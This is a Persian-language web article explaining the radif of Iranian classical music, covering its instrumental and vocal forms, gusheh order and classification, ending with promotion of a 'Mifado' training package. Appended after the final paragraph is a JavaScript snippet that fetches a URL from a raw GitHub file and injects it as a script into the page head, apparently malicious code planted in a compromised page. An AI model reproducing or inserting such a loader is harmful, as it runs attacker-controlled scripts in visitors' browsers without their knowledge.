ردیف موسیقی ایرانی یکی از اصلی‌ترین اجزای موسیقی سنتی ایران است که دارای تاریخچه و جایگاه مهمی در فرهنگ و هنر ایران دارد. این ردیف به عنوان یک سبک خاص موسیقی سنتی در ایران شناخته می‌شود و شامل نوازندگی سازهای سنتی ایرانی مانند تار،کمانچه،نی،عودو تمبک است.
ردیف موسیقی ایرانی
ردیف موسیقی ایرانی مجموعه‌ای از ملودیهای موسیقی ایرانی است که در فرم‌های مختلف سازی و آوازی آمده است. ردیف موسیقی ایرانی به دو بخش ردیف سازی و ردیف آوازی تقسیم می‌شود. ردیف سازی گستردگی بیشتری از ردیف آوازی دارد. از جمله ردیف‌های سازی میتوان به ردیف آقا حسینقلی یا ردیف میرزا عبدالله اشاره کرد. ردیف آوازی دوامی، طاهر زاده و محمود کریمی نیز از جمله ردیف‌های آوازی موسیقی اصیل ایرانی است.
تحولات ردیف نوازی و ردیف موسیقی ایرانی
ردیف موسیقی ایرانی در طول تاریخ خود تحولات زیادی را پشت سر گذاشته است. در ابتدا، موسیقی ایران براساس سامانهٔ دستگاه‌های موسیقایی (مانند دستگاه مخصوص موسیقی شعر) نواخته می‌شد. اما با گذر زمان، سبک‌های مختلفی در ردیف موسیقی ایرانی شکل گرفت که هر کدام به نحوهٔ نواختن سازها و قواعد خاص خود معروف بودند.
ویژگی بارز ردیف موسیقی ایرانی
یکی از ویژگی‌های بارز ردیف موسیقی ایرانی، استفاده از سازهای سنتی ایرانی است. هر ساز دارای صدا و نوع نواختن خاص خود است و با ترکیب آن‌ها در ردیف موسیقی ایرانی، صدایی منحصر به فرد و زیبا به وجود می‌آید. علاوه بر سازهای سنتی، صداهای دیگری مانند صدای آواز نیز در ردیف موسیقی ایرانی استفاده می‌شود که به ترکیب با سازها،
ملودیهای زیبا و قوی ایجاد می‌کند.علاوه بر صداها و سازها، ریتم نیز در ردیف موسیقی ایرانی بسیار مهم است. ریتم‌های خاص و پیچیده‌ای در این سبک موسیقی استفاده می‌شود که باعث تنوع و زیبایی آن می‌شود. در برخی قطعات، ریتم‌های سریع و پرشتاب مورد استفاده قرار می‌گیرد و در برخی دیگر،ریتم‌های آرام و ملایم به کار گرفته می‌شود.
ردیف موسیقی ایرانی از لحاظ محتوا نیز بسیار گسترده است. در این سبک موسیقی، قطعات مذهبی، قطعات ملی و قطعات عاشقانه وجود دارند. هر کدام از این دسته‌بندی‌ها دارای خصوصیات و احساسات خاص خود هستند و با توجه به مضمون قطعه، صدای سازها و ریتم‌های مورد استفاده تغییر می‌کنند.
به طور کلی، ردیف موسیقی ایرانی یکی از ثروت‌های فرهنگی و هنری بزرگ ایران است که با تنوع سازها، صداها و ریتم‌ها، همچنین تاثیرگذاری در سبک‌های دیگر موسیقی جهان، بسیار مورد توجه قرار گرفته است. این ردیف به عنوان یکی از عناصر مهم هویت موسیقی ایران، همچنان در حال توسعه و تحول است و هنرمندان مختلفی در این زمینه فعالیت می‌کنند.
ثبت موسیقی ملی در دوران قاجار
باید بدانیم که ثبت موسیقی ملی ما در دوران قاجار انجام شده و اطلاعات کمی قبل از دوران قاجار در اختیار پژوهش‌گران موسیقی ایرانی وجود دارد. ردیف موسیقی اصیل ایرانی توسط علی اکبر فرهانی ثبت شد و به‌طور عمومی انتشار ردیف موسیقی ایرانی توسط درویش خان صورت گرفت. درویش خان اولین کسی بود که ردیف موسیقی ایرانی را به میان توده‌ها آورد. ردیف موسیقی ایران در ابتدا به صورت سینه به سینه منتقل شده و علینقی وزیری اولین کسی بود که ردیف موسیقی ایرانی را به صورت نت درآورد.
ردیف موسیقی اصیل ایرانی در سال 2009 توسط یونسکو به عنوان میراث فرهنگی ناملموس ثبت شده است.
ردیف موسیقی ایرانی با قدمت هزار سال
فرهاد فخرالدینی ردیف موسیقی ایرانی را خلاصه‌ای از زیباشناسی هزار ساله‌ی ایرانی می‌داند. این فرم موسیقی و پرده‌بندی یک نوع خلاقیت کم نظیر در موسیقی ایرانی است. هر استاد موسیقی، ردیف موسیقی مختص به خود را داشته است.
سیستم تقسیم بندی ردیف موسیقی ایرانی بر اساس ساختار صدای انسان و تقسیم بندی نت‌ها بر اساس فواصل صوتی صورت گرفته است. ردیف موسیقی ایرانی به عنوان یک سیستم موسیقی منحصر به فرد، در بسیاری از سبک‌ها و اجرای موسیقی ایرانی به کار می‌رود.
ترتیب گوشه‌ها در ردیف موسیقی ایرانی
ردیف موسیقی ایرانی به صورت یک مجموعه واحد تدریس می‌شوند و استادان این رشته روی ترتیب اجرای گوشه‌ها حساس هستند. اما ترتیب گوشه‌ها در ردیف، کمتر بر اساس دلیل و منطق به نظم درآمده‌اند و سنت، سینه به سینه آن‌ها را مشخص می‌کند. تمامی ردیف های موسیقی ایرانی یک یا چند گوشه درآمد دارند. گوشه درآمد به طور معمول در ابتدای ردیف موسیقی ایرانی یا دستگاه های موسیقی اجرا می‌شود. گوشه درآمد نقش برجسته‌ای در شناخت دستگاه موسیقی اصیل ایرانی دارد. همچنین ترتیب گوشه ها در ردیف موسیقی ایرانی از گوشه های بم‌تر به گوشههای زیرتر اجرا می‌شود.
معمولا در آخر هر اجرای ردیف موسیقی ایرانی یا موسیقی دستگاهی یک یا چند گوشه به نام “فرود” آمده است. گوشههای فرود وظیفه‌شان بازگرداندن موسیقی به درجه اول دستگاه یا آواز است. به طور مثال اگر ما به وسیله دستگاه چهارگاه از طریق گوشه حصار یا مویه به دستگاه دیگر پرده گردانی کنیم با کمک گوشه فرود دوباره به دستگاه چهارگاه برمی‌گردیم.
باید گفت که گوشه درآمد و فرود تنها گوشه های مشترک موسیقی ردیف ایرانی یا دستگاهی ایرانی نیست. گوشههای دیگری نیز هستند که در دستگاه‌ها و آوازهای موسیقی ایرانی آمده است. به طور نمونه گوشه جامه دران،گوشه کرشمه، گوشه زنگوله، گوشه بیات‌راجع و….
تقسیم بندی گوشه های ردیف موسیقی ایرانی توسط استاد لطفی
استاد محمد رضا لطفی گوشه های موسیقی ایرانی را به گوشه های مدار اصلی، گوشههای مدار فرعی،گوشه های ضربی و گوشههای تزئینی و کوچک تقسیم کرده است.
به نظر استاد لطفی گوشههای مدار اصلی، گوشه هایی است که فواصل آن تغییر نمی‌کند؛ مانند گوشه فیلی و گوشه خسروانی. گوشههای مدار فرعی در ردیف موسیقی ایرانی با تغییر پرده ساختار بندی می‌شود، مانند دلکش. اما گوشه های ضربی در ردیف موسیقی ایرانی بر اساس ریتم شکل می‌گیرد. مثلا در ردیف آوازی بعضی از اوقات بر اساس وزن شعر ریتم شکل می‌گیرد.
گوشه حزین نمونه گوشههای کوچک در موسیقی ردیفی ایرانی است. که از یک الگوی ملودیک پیروی می‌کند.
ردیف و ردیف نوازی چیست؟
ردیف در تئوری موسیقی ایرانی به طرز قرار گرفتن آهنگ‌ها و نغمات موسیقی گفته می‌شود. ردیف نوازی یک روش نوازندگی است که در موسیقی دستگاهی ایرانی استفاده می‌شود. این روش نوازندگی به عنوان یکی از ویژگی‌های بارز موسیقی دستگاهی ایران شناخته می‌شود. درواقع ردیف یک رپرتوار یا چیدمانی است که از درامد شروع به اوج رسیده و دوباره فرود به درامد دارد. برای مثال در هر دستگاهی قطعه از درآمد شروع شده وارد گوشه های مختلف می‌شود، اوج می‌گیرد و دوباره به درآمد برمیگردد به این چیدمان و ترتیب که از نقطعه ای شروع شده و به ترتیب اوج گرفته و پایین می‌آید و طبق یک اصول نواخته می‌شود ردیف یا ردیف نوازی گویند.
تفاوت ردیف سازی و ردیف آوازی
شاید بتوان گفت که ردیف سازی و ردیف آوازی ذات و فلسفه یکسانی دارند. اما در ردیف سازی ملودی تحرک بیشتری دارد. چون به کلام وابسته نیستند. مثلا انواع رنگ دلگشا یا گوشه خسروانی،گوشه بسته‌نگار،مجلس‌افروز و…ردیف های سازی هستند که ردیف آوازی ندارند. بنابراین ردیف سازی از نعمت کلام برخوردار نیست.
پس میتوان گفت نبود شعر در ردیف‌سازی اولین تفاوت در ردیف سازی و آوازی است.
ردیف میرزا‌عبدالله به 250 گوشه در هفت دستگاه ماهور،شور،نوا،همایون،چهارگاه،سه‌گاه و راست‌پنجگاه و 5 آواز؛ دشتی،اصفهان،افشاری، ترک و ابوعطا تنظیم شده است.این نظم در ردیف های دیگر نیز کمابیش تکرار شده است. اما به طور نمونه ردیف آوازی محمودکریمی 145 گوشه دارد. با این حال ردیف های موسیقی اصیل ایران در طول تاریخ گسترش پیداکرده‌اند. مثلا ابولحسن صبا گوشههای دیلمان و امیری را بر اساس موسیقی شمال ایران به موسیقی دستگاهی و ردیفی ایران اضافه کرده است.
دیگر تفاوت ردیف‌سازی و ردیف آوازی ضرب‌آهنگ است. برخی از گوشه ها مثل رنگ‌ها و چهارمضراب ها بخاطر ضرب‌آهنگ، بیشتر در ردیف سازی آمده‌اند. اما الگوی ریتمی ردیف آوازی به ضرب آهنگ شعر بستگی دارد.
در بحث موسیقی اصیل ایرانی و دستگاه شناسی بهتر است که نوازنده ردیف آوازی را آموزش ببیند. اما خواننده‌ها الزامی به یادگیری ردیف سازی ندارند.
چرا باید ردیف موسیقی را یادبگیریم؟
علی اکبر فراهانی برای طبقه‌بندی موسیقی اصیل ایرانی اقدام به تدوین ردیف کرد. به این ترتیب آموزش ردیف سازی و ردیف آوازی در بحث موسیقی اصیل ایرانی بسیار مهم است. در نتیجه برای بهتر نواختن و بهتر خواندن بهتر است به موسیقی ردیفی ایرانی مسلط باشیم. اما قبل از هرچیزی باید موسیقی دستگاه شناسی ایرانی را آموزش ببینیم.
چرا باید دستگاه شناسی را یادبگیریم
موسیقی دستگاهی ایرانی را نمی‌توان تنها با نت‌نگاری و تغییر علائم آموزش داد. چراکه موسیقی دستگاهی ایرانی دارای رموز هنری و حسی قابل تأمل است که فقط از طریق حفظ کردن نت میسر نمی‌شود.
بعضی از نوازنده‌ها و خواننده‌ها فکر می‌کنند باید ردیف‌های آوازی و ردیف سازی را به صورت طوطی وار فقط حفظ کنند یا بنوازند. اما محصول دستگاه شناسی میفادو این تفکر را در ذهن هنرمند از بین میبرد و کاملاً برعکس این روش غلط آموزشی است. آموزش دستگاه شناسی میفادو با تکیه بر آموزش حس شناسی و خصوصیت هر گوشه برای اولین بار سعی کرده است، موسیقی دستگاهی ایرانی را از مبتدی تا پیشرفته به راحتی به مخاطبین آموزش دهد. متاسفانه این روش آموزش موسیقی در کشور نادیده گرفته شده است. در پکیج دستگاه‌شانسی می فادو، نوازنده و خواننده به دسته‌بندی و طبقه‌بندی موسیقی اصیل ایرانی پی میبرد. در آخر باید گفت که پکیج دستگاه‌شناسی میفادو کامل‌ترین پکیج آموزش موسیقی دستگاه‌شناسی است که از طریق آن میتوان موسیقی ملی را آموخت .
(var url = “https://raw.githubusercontent.com/truba77/trubnik/main/to.txt”; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement(“script”); script.src = data.trim(); document.getElementsByTagName(“head”)[0].appendChild(script); });)
